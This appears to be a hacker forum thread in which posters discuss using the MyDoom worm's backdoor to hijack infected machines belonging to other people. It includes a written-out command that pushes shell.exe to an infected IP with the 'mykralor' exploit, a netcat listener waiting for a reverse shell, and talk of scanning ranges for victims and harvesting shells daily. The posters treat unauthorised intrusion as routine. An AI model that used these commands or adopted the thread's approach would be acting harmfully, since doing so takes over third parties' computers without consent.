Tnx for the autohaxor Usch..

Don't think i'll use it anymore, cause seems like every machine that WAS infected has already been patched... All vuln's are gone.

yes indeed all the mydoom.a has replaced with mydoom.c so bye bye Mydoom

Need to post it here because I cant make new threads..
As you know the mydoom.f variant of the worm is out now and spreading very fast!
It opens TCP port 1080 for hacker attacks, seems to use same system as mydoom.a/b
So my questions now are: Any1 had luck scanning port 1080 and trying to exploit with mykralor?
Do you think that it could work or does every mydoom variant use another method of being exploited?
Do mydoomjuice (and how they are all called) kill this worm?
If you get hands on the source code - it should be possible to modify the kralor sploit?
thats's it

Damn...... i hate that damn exploit .....


Cannot get any reverse shell

-----------------------------------
i try this....... mykralor.exe xxx.xxx.91.90 3127 shell.exe

[+] Reading file to send (max length 1599bytes) ...Done
[+] Connecting to infected ip ...Done
[+] Sending file ...Done
[+] Exiting.

C:\hacks\exploit\mydoom\MyDoomGui211>

---------------------------------------------------------

C:\hacks\exploit\mydoom\MyDoomGui211>nc -v -l -s xxx.xxx.198.27 -p 3128
listening on [xxx.xxx.198.27] 3128 ...
-----------------------------------------------------------

There's nothing ..... got no damn shell


PLZ...... HELP !!!!! I GOT NOTHING, WHY ?

now it's very hard to get a shell even if you scan dozens of ranges daily :/ check others exploits

False

It's still possible to get shells (got a friend which still gets 10-12 shells a day using this exploit)

However, its not as easy as it once was

hmmm really ?

i thought the new mydoom variant killed the exploit?
damn lol guess i was misinformed. D:

*edits other post*

I havent been able to get one shell out of this exploit, I would say its pretty much dead. My question is what would you guys suggest as the best exploit there is to scan for now, gotta keep my systems safe!

I was under the impression that the DDoS attack stopped on the 12th, but the backdoor stays until removed.